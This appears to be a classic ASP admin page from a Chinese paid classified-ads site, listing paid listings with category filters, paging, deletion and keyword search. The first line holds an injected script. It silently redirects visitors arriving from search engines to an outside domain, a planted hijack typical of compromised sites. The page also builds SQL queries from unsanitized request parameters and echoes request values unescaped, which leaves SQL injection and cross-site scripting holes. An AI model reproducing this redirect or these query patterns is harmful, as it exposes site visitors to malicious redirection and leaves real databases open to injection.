d:\wwwroot\wuchunhua\admin\fufeiad.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
006:
dim sql,rs
007:
keyword=replace(trim(request.form("keyword")),"'","")
008:
tid=request("id")
009:
ttwoid=request("twoid")
010:
tthreeid=request("threeid")
011:
if tid="" then tid=0
012:
if ttwoid="" then ttwoid=0
013:
if tthreeid="" then tthreeid=0
014:
if keyword <>"" then
015:
sql="select * from china_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) and money <> 0 order by adid desc"
016:
else
017:
if tid<>0 then
018:
if ttwoid=0 then dtype="type_oneid="&tid&""
019:
if ttwoid<>0 and tthreeid=0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&""
020:
if ttwoid<>0 and tthreeid<>0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&" and type_threeid="&tthreeid&""
021:
sql="select * from china_data where "&dtype&" and money <> 0 order by adid desc"
022:
else
023:
sql="select * from china_data where money <> 0 order by adid desc"
024:
end if
025:
end if
026:
set rs=server.createobject("adodb.recordset")
027:
rs.open sql,conn,1,1
%
>
028:
<html>
029:
<head>
030:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
031:
<title>现有信息列表</title>
032:
<link rel="stylesheet" type="text/css" href="style.css">
033:
</head>
034:
035:
<body>
036:
<SCRIPT language=javascript>
037:
function CheckAll(form)
038:
{
039:
for (var i=0;i<form.elements.length;i++)
040:
{
041:
var e = form.elements[i];
042:
if (e.Name != "chkAll")
043:
e.checked = form.chkAll.checked;
044:
}
045:
}
046:
function Checked()
047:
{
048:
var j = 0
049:
for(i=0;i < document.form.elements.length;i++){
050:
if(document.form.elements[i].name == "adid"){
051:
if(document.form.elements[i].checked){
052:
j++;
053:
}
054:
}
055:
}
056:
return j;
057:
}
058:
059:
function DelAll()
060:
{
061:
if(Checked() <= 0){
062:
alert("您至少选择1条信息!");
063:
}
064:
else{
065:
if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
066:
form.action="del.asp?del=data";
067:
form.submit();
068:
}
069:
}
070:
}
071:
072:
</SCRIPT>
073:
<FORM name=form method=post>
074:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
075:
<tr>
076:
<td height="20" bgcolor="#799AE1" align="center">
077:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
078:
<tr>
079:
<td width="55">
080:
<select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
081:
<option value="?id=0"
<%
if tid=0 then
%
>selected
<%
end if
%
>>全部</option>
082:
<%
set rs_lei = server.createobject("adodb.recordset")
083:
sql = "select * from china_type"
084:
rs_lei.open sql,conn,1,1
085:
do while not rs_lei.eof
086:
if rs_lei("id")<>0 and rs_lei("twoid")=0 and rs_lei("threeid")=0 then
%
>
087:
<option value="?id=
<%
=rs_lei("id")
%
>"
<%
if tid=rs_lei("id") and ttwoid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
088:
<%
end if
089:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")=0 then
%
>
090:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
091:
<%
end if
092:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")<>0 then
%
>
093:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>&threeid=
<%
=rs_lei("threeid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=rs_lei("threeid") then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
094:
<%
end if
095:
rs_lei.movenext
096:
loop
097:
rs_lei.close
098:
set rs_lei = nothing
%
>
099:
</select></td>
100:
<td align="center"><font color="#FFFFFF" style="font-size:14px">付 费 分 类 信 息</font></td>
101:
<td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
102:
</tr>
103:
</table></td>
104:
</tr>
105:
<tr>
106:
<td bgcolor="#FFFFFF"> <br>
107:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
108:
<tr bgcolor="#FFFFFF">
109:
<td width="30" align="center">编号</td>
110:
<td align="center">信息标题</td>
111:
<td align="center" width="60">城市</td>
112:
<td align="center">信息类别</td>
113:
<td align="center">付款</td>
114:
<td align="center">发布日期</td>
115:
<td align="center">截止日期</td>
116:
<td align="center">审核状态</td>
117:
<td align="center">会员</td>
118:
<td align="center">身份证</td>
119:
<td align="center">IP</td>
120:
<td align="center">管理操作</td>
121:
<td width="30" align="center">
122:
<input id=chkAll
123:
onClick=CheckAll(this.form) type=checkbox
124:
value=checkbox name=chkAll>
125:
</td>
126:
</tr>
127:
<%
if rs.eof or rs.bof then
128:
response.write"<tr bgcolor=#FFFFFF><td colspan='12'><p align='center'><font color='red'>暂无信息!</font></td></tr></table><br>"
129:
response.end
130:
else
131:
const maxperpage=20
132:
dim currentpage
133:
rs.pagesize=maxperpage
134:
currentpage=request.querystring("pageid")
135:
if isnumeric(currentpage)=false then
136:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
137:
response.end
138:
end if
139:
if currentpage="" then
140:
currentpage=1
141:
elseif currentpage<1 then
142:
currentpage=1
143:
else
144:
currentpage=clng(currentpage)
145:
if currentpage > rs.pagecount then
146:
currentpage=rs.pagecount
147:
end if
148:
end if
149:
150:
dim totalput,n
151:
totalput=rs.recordcount
152:
if totalput mod maxperpage=0 then
153:
n=totalput\maxperpage
154:
else
155:
n=totalput\maxperpage+1
156:
end if
157:
if n=0 then
158:
n=1
159:
end if
160:
rs.move(currentpage-1)*maxperpage
161:
i=0
162:
do while i< maxperpage and not rs.eof
%
>
163:
<tr bgcolor="#FFFFFF">
164:
<td align="center">
<%
=rs("adid")
%
></td>
165:
<td> <a href="../html/
<%
=rs("adid")
%
>.htm" target="_blank">
<%
=rs("title")
%
></a>
166:
<%
If rs("ispic")="yes" Then
%
>
167:
<font color="#FF0000">图</font>
168:
<%
End If
%
>
169:
</td>
170:
<td align="center"><a title=
<%
=rs("city_one")
%
>/
<%
=rs("city_two")
%
>/
<%
=rs("city_three")
%
> href="#">
<%
=rs("city_one")
%
></a></td>
171:
<td align="center"><a title=
<%
=rs("type_one")
%
>/
<%
=rs("type_two")
%
>/
<%
=rs("type_three")
%
> href="#">
<%
=rs("type_one")
%
></a></td>
172:
<td align="center">
<%
=formatnumber(rs("money"),2)
%
></td>
173:
<td align="center">
<%
=rs("date")
%
></td>
174:
<td align="center">
<%
=rs("stop")
%
></td>
175:
<td align="center">
176:
<%
If rs("mark")="yes" Then
%
>
177:
<font color="#008000">已审核</font>
178:
<%
Else
%
>
179:
<font color="#FF0000">未审核</font>
180:
<%
End If
%
>
181:
</td>
182:
<td align="center">
183:
<%
If rs("uid")<>"" Then
%
>
184:
<font color="#FF0000">是</font>
185:
<%
Else
%
>
186:
否
187:
<%
End If
%
>
188:
</td>
189:
<td align="center">
190:
<%
If rs("cardid")<>"" Then
%
>
191:
<a href="../cardid.asp?cardid=
<%
=rs("cardid")
%
>" target="_blank">查</a>
192:
<%
Else
%
>
193:
无
194:
<%
End If
%
>
195:
</td>
196:
<td align="center">
197:
<%
If rs("ip")<>"" Then
%
>
198:
<a href="../ip.asp?ip=
<%
=rs("ip")
%
>" target="_blank">查</a>
199:
<%
Else
%
>
200:
无
201:
<%
End If
%
>
202:
</td>
203:
<td align="center"><a href="editad.asp?id=
<%
=rs("adid")
%
>"><font color="green">修改</font></a></td>
204:
<td align="center">
205:
<input type="checkbox" name="adid" value="
<%
=rs("adid")
%
>" onClick=Checked(form)>
206:
</td>
207:
</tr>
208:
<%
i=i+1
209:
rs.movenext
210:
loop
211:
rs.close
212:
set rs=nothing
213:
conn.close
214:
set conn=nothing
215:
end if
%
>
216:
</table>
217:
<br>
218:
</td>
219:
</tr>
220:
</table></FORM>
221:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
222:
<tr>
223:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数:
<%
=currentpage
%
>/
<%
=n
%
>
224:
<%
k=currentpage
225:
if k<>1 then
%
>
226:
<a href="?pageid=1&type=
<%
=request("type")
%
>">首页</a>
227:
<a href="?pageid=
<%
=k-1
%
>"&type=
<%
=request("type")
%
>>上一页</a>
<%
else
%
>
228:
首页 上一页
229:
<%
end if
%
>
230:
<%
if k<>n then
%
>
231:
<a href="?pageid=
<%
=k+1
%
>&type=
<%
=request("type")
%
>">下一页</a>
232:
<a href="?pageid=
<%
=n
%
>&type=
<%
=request("type")
%
>">尾页</a>
233:
<%
else
%
>
234:
下一页 尾页
235:
<%
end if
%
>
236:
共有
<%
=totalput
%
> 条信息 </td>
237:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
238:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
239:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
240:
</form>
241:
</tr>
242:
</table>
243:
</body>
244:
</html>
245:
246: